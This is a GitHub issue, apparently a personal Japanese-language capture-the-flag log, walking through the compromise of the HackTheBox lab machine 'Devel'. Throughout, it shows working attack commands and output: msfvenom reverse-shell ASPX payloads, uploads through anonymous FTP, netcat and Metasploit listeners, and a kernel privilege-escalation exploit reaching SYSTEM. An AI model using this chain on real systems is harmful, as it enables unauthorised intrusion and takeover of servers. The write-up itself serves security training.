search

roaris / ctf-log

0 stars 0 forks source link

HackTheBox: Devel (Machine Easy) #22

Open roaris opened 8 months ago

roaris commented 8 months ago

https://app.hackthebox.com/machines/Devel

$ nmap -sC -sV -Pn 10.10.10.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 22:43 JST
Nmap scan report for 10.10.10.5
Host is up (0.20s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
|_03-17-17  04:37PM               184946 welcome.png
| ftp-syst:
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.51 seconds
roaris commented 8 months ago

Microsoft IISというのはWindows上で動作するWebサーバのこと(ApacheやNginxみたいな感じかな) 読み方は普通にアイアイエス https://zenn.dev/uchimura/articles/4e6a9bb02c8154

roaris commented 8 months ago

FTPの方を見る

$ ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:roaris): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||49169|)
125 Data connection already open; Transfer starting.
03-18-17  01:06AM       <DIR>          aspnet_client
03-17-17  04:37PM                  689 iisstart.htm
03-17-17  04:37PM               184946 welcome.png
ftp> cd aspnet_client
250 CWD command successful.
ftp> dir
229 Entering Extended Passive Mode (|||49171|)
125 Data connection already open; Transfer starting.
03-18-17  01:06AM       <DIR>          system_web
226 Transfer complete.
ftp> cd system_web
250 CWD command successful.
ftp> dir
229 Entering Extended Passive Mode (|||49172|)
125 Data connection already open; Transfer starting.
03-18-17  01:06AM       <DIR>          2_0_50727
226 Transfer complete.
ftp> cd 2_0_50727
250 CWD command successful.
ftp> dir
229 Entering Extended Passive Mode (|||49174|)
125 Data connection already open; Transfer starting.
226 Transfer complete.

aspnet_client の中には何もなかった とりあえずiisstart.htmとwelcome.pngをダウンロードした

roaris commented 8 months ago

iisstart.htm

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS7</title>
<style type="text/css">
<!--
body {
    color:#000000;
    background-color:#B3B3B3;
    margin:0;
}

#container {
    margin-left:auto;
    margin-right:auto;
    text-align:center;
    }

a img {
    border:none;
}

-->
</style>
</head>
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&amp;clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>
</div>
</body>
</html>

welcome.pngの方はファイルが壊れているようで開けない(初めこういう画像なのかと思った) image

FTPでgetした時もFile may not have transferred correctly.と言われている

ftp> get welcome.png
local: welcome.png remote: welcome.png
229 Entering Extended Passive Mode (|||49175|)
125 Data connection already open; Transfer starting.
 10% |**********                                                                                                  | 18564       18.12 KiB/s    00:08 ETAftp: Reading from network: Interrupted system call
  0% |                                                                                                            |    -1        0.00 KiB/s    --:-- ETA
550 The specified network name is no longer available.
WARNING! 82 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
roaris commented 8 months ago

が、welcome.pngはWebの方にアクセスしたときに出てくるこの画像だろう iisstart.htmはこのページのHTML image

roaris commented 8 months ago

gobusterしても何も出てこないし、Microsoft IISの脆弱性を探しても使えそうなのがない

roaris commented 8 months ago

レスポンスヘッダのX-Powered-ByがASP.NETになっていることに着目するらしい https://aspnet.keicode.com/aspnet/what.php

ASP.NETではaspxというファイルを用いる https://www.weblio.jp/content/.aspx

ASPファイルは、HTMLとスクリプトが融合されたようなもので、サーバー側のマシンでスクリプトが処理され、その処理結果がHTMLとしてクライアント（ユーザー）に返されるという仕組みを持っている。

FTPサーバにリバースシェルを行うaspxファイルをアップロードして、このaspxファイルにアクセスする

roaris commented 8 months ago

Enterを押すと、シェルが終了してしまい上手くいかない

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.5 LPORT=8080 -f aspx > shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of aspx file: 2874 bytes
$ ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:roaris): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put shell.aspx
local: shell.aspx remote: shell.aspx
229 Entering Extended Passive Mode (|||49158|)
125 Data connection already open; Transfer starting.
100% |**************************************************************************************************************************|  2914        9.11 MiB/s    --:-- ETA
226 Transfer complete.
2914 bytes sent in 00:00 (7.35 KiB/s)
ftp> exit
221 Goodbye.
$ nc -lvp 8080
listening on [any] 8080 ...
10.10.10.5: inverse host lookup failed: Unknown host
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.5] 49163
roaris commented 8 months ago

https://github.com/borjmz/aspx-reverse-shell を使ったら上手くいった

$ wget https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx
--2024-03-10 20:16:08--  https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15968 (16K) [text/plain]
Saving to: ‘shell.aspx’

shell.aspx                                100%[====================================================================================>]  15.59K  --.-KB/s    in 0s

2024-03-10 20:16:08 (40.7 MB/s) - ‘shell.aspx’ saved [15968/15968]
$ vi shell.aspx
$ ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:roaris): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put shell.aspx
local: shell.aspx remote: shell.aspx
229 Entering Extended Passive Mode (|||49165|)
125 Data connection already open; Transfer starting.
100% |**************************************************************************************************************************| 16392       25.21 MiB/s    --:-- ETA
226 Transfer complete.
16392 bytes sent in 00:00 (28.73 KiB/s)
ftp> exit
221 Goodbye.
$ nc -lvp 8080
listening on [any] 8080 ...
10.10.10.5: inverse host lookup failed: Unknown host
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.5] 49166
Spawn Shell...
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\web
roaris commented 8 months ago

user.txt, root.txtを探すがない

c:\>dir /s user.txt
dir /s user.txt
 Volume in drive C has no label.
 Volume Serial Number is 137F-3971
File Not Found

c:\>dir /s root.txt
dir /s root.txt
 Volume in drive C has no label.
 Volume Serial Number is 137F-3971
File Not Found

c:\Users\babisとc:\Users\Administratorにはアクセス出来なかった

c:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 137F-3971

 Directory of c:\Users

18/03/2017  01:16     <DIR>          .
18/03/2017  01:16     <DIR>          ..
18/03/2017  01:16     <DIR>          Administrator
17/03/2017  04:17     <DIR>          babis
18/03/2017  01:06     <DIR>          Classic .NET AppPool
14/07/2009  09:20     <DIR>          Public
               0 File(s)              0 bytes
               6 Dir(s)   5.028.478.976 bytes free

c:\Users>cd babis
cd babis
Access is denied.

c:\Users>cd Administrator
cd Administrator
Access is denied.
roaris commented 8 months ago

local_exploit_suggestorを使うらしいけど、metasploitでリバースシェルを起動したわけじゃないので、やり方が分からない

https://qiita.com/ikkyu193/items/fb2b66a64d8a38d2c20b の通りにする 初め上手くいかなくて、msfvenomで作ったaspxだと上手くいった(訳わからん)

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.16.5
LHOST => 10.10.16.5
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.16.5:8080
[*] Sending stage (176198 bytes) to 10.10.10.5

[*] Meterpreter session 1 opened (10.10.16.5:8080 -> 10.10.10.5:49176) at 2024-03-10 21:09:34 +0900

meterpreter >

set payload windows/meterpreter/reverse_tcpが何のためのコマンドか分からないが、これを指定しないと、シェルがmeterpreterにならず、いきなりマシンのシェルになるので、background出来ないとかだろうか

roaris commented 8 months ago 
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.16.5:8080
[*] Sending stage (176198 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (10.10.16.5:8080 -> 10.10.10.5:49203) at 2024-03-10 21:19:47 +0900

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  1         meterpreter x86/windows  IIS APPPOOL\Web @ DEVEL  10.10.16.5:8080 -> 10.10.10.5:49203 (10.10.10.5)

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > set SHOWDESCRIPTION true
SHOWDESCRIPTION => true
msf6 post(multi/recon/local_exploit_suggester) > exploit

[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 193 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
  This module will bypass Windows UAC by hijacking a special key in
  the Registry under the current user hive, and inserting a custom
  command that will get invoked when the Windows Event Viewer is
  launched. It will spawn a second shell that has the UAC flag turned
  off. This module modifies a registry key, but cleans up the key once
  the payload has been invoked. The module does not require the
  architecture of the payload to match the OS. If specifying
  EXE::Custom your DLL should call ExitProcess() after starting your
  payload in a separate process.
[+] 10.10.10.5 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
  This module exploits CVE-2020-0787, an arbitrary file move
  vulnerability in outdated versions of the Background Intelligent
  Transfer Service (BITS), to overwrite
  C:\Windows\System32\WindowsCoreDeviceInfo.dll with a malicious DLL
  containing the attacker's payload. To achieve code execution as the
  SYSTEM user, the Update Session Orchestrator service is then
  started, which will result in the malicious
  WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a
  DLL hijacking issue within the Update Session Orchestrator Service.
  Note that presently this module only works on Windows 10 and Windows
  Server 2016 and later as the Update Session Orchestrator Service was
  only introduced in Windows 10. Note that only Windows 10 has been
  tested, so your mileage may vary on Windows Server 2016 and later.
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
  This module will create a new session with SYSTEM privileges via the
  KiTrap0D exploit by Tavis Ormandy. If the session in use is already
  elevated then the exploit will not run. The module relies on
  kitrap0d.x86.dll, and is not supported on x64 editions of Windows.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
  This module exploits the Task Scheduler 2.0 XML 0day exploited by
  Stuxnet. When processing task files, the Windows Task Scheduler only
  uses a CRC32 checksum to validate that the file has not been
  tampered with. Also, In a default configuration, normal users can
  read and write the task files that they have created. By modifying
  the task file and creating a CRC32 collision, an attacker can
  execute arbitrary commands with SYSTEM privileges. NOTE: Thanks to
  webDEViL for the information about disable/enable.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
  This module leverages a kernel pool overflow in Win32k which allows
  local privilege escalation. The kernel shellcode nulls the ACL for
  the winlogon.exe process (a SYSTEM process). This allows any
  unprivileged process to freely migrate to winlogon.exe, achieving
  privilege escalation. This exploit was used in pwn2own 2013 by MWR
  to break out of chrome's sandbox. NOTE: when a meterpreter session
  started by this exploit exits, winlogin.exe is likely to crash.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
  This module exploits a vulnerability in win32k.sys where under
  specific conditions TrackPopupMenuEx will pass a NULL pointer to the
  MNEndMenuState procedure. This module has been tested successfully
  on Windows 7 SP0 and Windows 7 SP1.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
  This module exploits a NULL Pointer Dereference in win32k.sys, the
  vulnerability can be triggered through the use of TrackPopupMenu.
  Under special conditions, the NULL pointer dereference can be abused
  on xxxSendMessageTimeout to achieve arbitrary code execution. This
  module has been tested successfully on Windows XP SP3, Windows 2003
  SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1
  and Windows 2008 R2 SP1 64 bits.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
  This module abuses a process creation policy in Internet Explorer's
  sandbox; specifically, Microsoft's RemoteApp and Desktop Connections
  runtime proxy, TSWbPrxy.exe. This vulnerability allows the attacker
  to escape the Protected Mode and execute code with Medium Integrity.
  At the moment, this module only bypass Protected Mode on Windows 7
  SP1 and prior (32 bits). This module has been tested successfully on
  Windows 7 SP1 (32 bits) with IE 8 and IE 11.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
  This module exploits improper object handling in the win32k.sys
  kernel mode driver. This module has been tested on vulnerable builds
  of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
  This module exploits the vulnerability in mrxdav.sys described by
  MS16-016. The module will spawn a process on the target system and
  elevate its privileges to NT AUTHORITY\SYSTEM before executing the
  specified payload within the context of the elevated process.
[+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
  This module exploits the lack of sanitization of standard handles in
  Windows' Secondary Logon Service. The vulnerability is known to
  affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This
  module will only work against those versions of Windows with
  Powershell 2.0 or later and systems with two or more CPU cores.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
  Module utilizes the Net-NTLMv2 reflection between DCOM/RPC to
  achieve a SYSTEM handle for elevation of privilege. Currently the
  module does not spawn as SYSTEM, however once achieving a shell, one
  can easily use incognito to impersonate the token.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
  This module utilizes the Net-NTLMv2 reflection between DCOM/RPC to
  achieve a SYSTEM handle for elevation of privilege. It requires a
  CLSID string. Windows 10 after version 1803, (April 2018 update,
  build 17134) and all versions of Windows Server 2019 are not
  vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
  This module exploits a NULL pointer dereference vulnerability in
  MNGetpItemFromIndex(), which is reachable via a NtUserMNDragOver()
  system call. The NULL pointer dereference occurs because the
  xxxMNFindWindowFromPoint() function does not effectively check the
  validity of the tagPOPUPMENU objects it processes before passing
  them on to MNGetpItemFromIndex(), where the NULL pointer dereference
  will occur. This module has been tested against Windows 7 x86 SP0
  and SP1. Offsets within the solution may need to be adjusted to work
  with other versions of Windows, such as Windows Server 2008.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
  This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due
  to the usage of uninitialized data which allows to corrupt memory.
  At the moment, the module has been tested successfully on Windows XP
  SP3, Windows 2003 SP1, and Windows 7 SP1.
[*] Running check method for exploit 41 / 41
[*] 10.10.10.5 - Valid modules for session 1:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
 3   exploit/windows/local/ms10_015_kitrap0d                        Yes                      The service is running, but could not be validated.
 4   exploit/windows/local/ms10_092_schelevator                     Yes                      The service is running, but could not be validated.
 5   exploit/windows/local/ms13_053_schlamperei                     Yes                      The target appears to be vulnerable.
 6   exploit/windows/local/ms13_081_track_popup_menu                Yes                      The target appears to be vulnerable.
 7   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.
 8   exploit/windows/local/ms15_004_tswbproxy                       Yes                      The service is running, but could not be validated.
 9   exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.
 10  exploit/windows/local/ms16_016_webdav                          Yes                      The service is running, but could not be validated.
 11  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.
 12  exploit/windows/local/ms16_075_reflection                      Yes                      The target appears to be vulnerable.
 13  exploit/windows/local/ms16_075_reflection_juicy                Yes                      The target appears to be vulnerable.
 14  exploit/windows/local/ntusermndragover                         Yes                      The target appears to be vulnerable.
 15  exploit/windows/local/ppr_flatten_rec                          Yes                      The target appears to be vulnerable.
 16  exploit/windows/local/adobe_sandbox_adobecollabsync            No                       Cannot reliably check exploitability.
 17  exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable.
 18  exploit/windows/local/always_install_elevated                  No                       The target is not exploitable.
 19  exploit/windows/local/anyconnect_lpe                           No                       The target is not exploitable. vpndownloader.exe not found on file system
 20  exploit/windows/local/bits_ntlm_token_impersonation            No                       The target is not exploitable.
 21  exploit/windows/local/bthpan                                   No                       The target is not exploitable.
 22  exploit/windows/local/bypassuac_fodhelper                      No                       The target is not exploitable.
 23  exploit/windows/local/bypassuac_sluihijack                     No                       The target is not exploitable.
 24  exploit/windows/local/canon_driver_privesc                     No                       The target is not exploitable. No Canon TR150 driver directory found
 25  exploit/windows/local/cve_2020_1048_printerdemon               No                       The target is not exploitable.
 26  exploit/windows/local/cve_2020_1337_printerdemon               No                       The target is not exploitable.
 27  exploit/windows/local/gog_galaxyclientservice_privesc          No                       The target is not exploitable. Galaxy Client Service not found
 28  exploit/windows/local/ikeext_service                           No                       The check raised an exception.
 29  exploit/windows/local/ipass_launch_app                         No                       The check raised an exception.
 30  exploit/windows/local/lenovo_systemupdate                      No                       The check raised an exception.
 31  exploit/windows/local/lexmark_driver_privesc                   No                       The target is not exploitable. No Lexmark print drivers in the driver store
 32  exploit/windows/local/mqac_write                               No                       The target is not exploitable.
 33  exploit/windows/local/ms14_070_tcpip_ioctl                     No                       The target is not exploitable.
 34  exploit/windows/local/ms_ndproxy                               No                       The target is not exploitable.
 35  exploit/windows/local/novell_client_nicm                       No                       The target is not exploitable.
 36  exploit/windows/local/ntapphelpcachecontrol                    No                       The check raised an exception.
 37  exploit/windows/local/panda_psevents                           No                       The target is not exploitable.
 38  exploit/windows/local/ricoh_driver_privesc                     No                       The target is not exploitable. No Ricoh driver directory found
 39  exploit/windows/local/tokenmagic                               No                       The target is not exploitable.
 40  exploit/windows/local/virtual_box_guest_additions              No                       The target is not exploitable.
 41  exploit/windows/local/webexec                                  No                       The check raised an exception.

[*] Post module execution completed
roaris commented 8 months ago

exploit/windows/local/ms16_032_secondary_logon_handle_privesc を使う

msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LHOST 10.10.16.5
LHOST => 10.10.16.5
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > exploit

[*] Started reverse TCP handler on 10.10.16.5:4444
[+] Compressed size: 1160
[*] Writing payload file, C:\Windows\TEMP\wmYMmfD.ps1...
[*] Compressing script contents...
[+] Compressed size: 3697
[*] Executing exploit script...
         __ __ ___ ___   ___     ___ ___ ___
        |  V  |  _|_  | |  _|___|   |_  |_  |
        |     |_  |_| |_| . |___| | |_  |  _|
        |_|_|_|___|_____|___|   |___|___|___|

                       [by b33f -> @FuzzySec]

[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 728

[*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[ref] cannot be applied to a variable that does not exist.
At line:200 char:63
+         $l5 = [Ntdll]::NtImpersonateThread($yfxQd, $yfxQd, [ref]$lbu <<<< )
    + CategoryInfo          : InvalidOperation: (lbu:Token) [], RuntimeExcepti
   on
    + FullyQualifiedErrorId : NonExistingVariableReference

[!] NtImpersonateThread failed, exiting..
[+] Thread resumed!

[*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token
Cannot convert argument "0", with value: "", for "DuplicateToken" to type "Syst
em.IntPtr": "Cannot convert null to type "System.IntPtr"."
At line:259 char:34
+     $l5 = [Advapi32]::DuplicateToken <<<< ($jo_c5, 2, [ref]$fN8jZ)
    + CategoryInfo          : NotSpecified: (:) [], MethodException
    + FullyQualifiedErrorId : MethodArgumentConversionInvalidCastArgument

[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

PnvN53gkOIiV6GfACmOoNelq1s0Ekcar
[+] Executed on target machine.
[+] Deleted C:\Windows\TEMP\wmYMmfD.ps1
[*] Exploit completed, but no session was created.

駄目らしい

roaris commented 8 months ago

公式writeupによると、ms10_015_kitrap0dを使うらしい

msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > use exploit/windows/local/ms10_015_kitrap0d
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms10_015_kitrap0d) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST 10.10.16.5
LHOST => 10.10.16.5
msf6 exploit(windows/local/ms10_015_kitrap0d) > exploit

[*] Started reverse TCP handler on 10.10.16.5:4444
[*] Reflectively injecting payload and triggering the bug...
[*] Launching msiexec to host the DLL...
[+] Process 2496 launched.
[*] Reflectively injecting the DLL into 2496...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (176198 bytes) to 10.10.10.5
[*] Meterpreter session 2 opened (10.10.16.5:4444 -> 10.10.10.5:49204) at 2024-03-10 21:31:15 +0900

meterpreter > shell
Process 2664 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
nt authority\system

c:\Users\babis\Desktopにuser.txt、c:\Users\Administrator\Desktopにroot.txtがある